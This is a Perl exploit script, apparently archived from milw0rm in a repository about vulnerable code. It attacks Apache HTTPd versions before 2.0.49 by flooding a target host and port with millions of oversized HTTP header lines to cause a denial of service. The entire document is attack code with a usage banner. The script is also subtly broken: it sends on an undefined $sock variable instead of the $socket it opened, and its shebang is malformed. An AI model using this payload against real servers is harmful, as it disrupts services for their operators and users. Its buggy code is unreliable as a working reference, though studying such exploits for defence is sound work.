lilbool/vuln-code-analysis
0
1#/usr/bin/perl -w
2
3use IO::Socket::INET;
4
5usage() unless (@ARGV == 2);
6my $host = shift(@ARGV);
7my $port = shift(@ARGV);
8
9sub usage
10{
11print "\n***********************************************";
12print "\n Apache HTTPd Arbitrary Long HTTP Headers DoS \n";
13print " Tested Versions : 2 < 2.0.49 \n";
14print " Adv : http://www.guninski.com/httpd1.html \n";
15print " By : Qnix , Q-nix[at]hotmail[dot]com \n";
16print "***********************************************\n\n";
17print "Usage: apache_ap_get_dos.pl [Host] [Port]\n\n";
18exit(1);
19}
20
21my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
22PeerPort=>$port);
23$socket or die "Cannot connect to the host.\n";
24
25binmode($sock);
26
27$hostname="Host: $host";
28
29$buf2='A'x50;
30$buf4='A'x8183;
31
32$len=length($buf2);
33
34$buf="GET / HTTP/1.1\r\n";
35
36send($sock,$buf,0) || die "send error:$@\n";
37for($i= 0; $i < 2000000; $i++)
38{
39 $buf=" $buf4\r\n";
40 send($sock,$buf,0) || die "send error:$@, target maybe have been
41DoS?\n";
42}
43
44$buf="$hostname\r\n";
45$buf.="Content-Length: $len\r\n";
46
47$buf.="\r\n";
48$buf.=$buf2."\r\n\r\n";
49
50send($sock,$buf,0) || die "send error:$@\n";
51print "Ok, the buffer sent to the target \n";
52close($sock);
53
54# milw0rm.com [2005-06-20]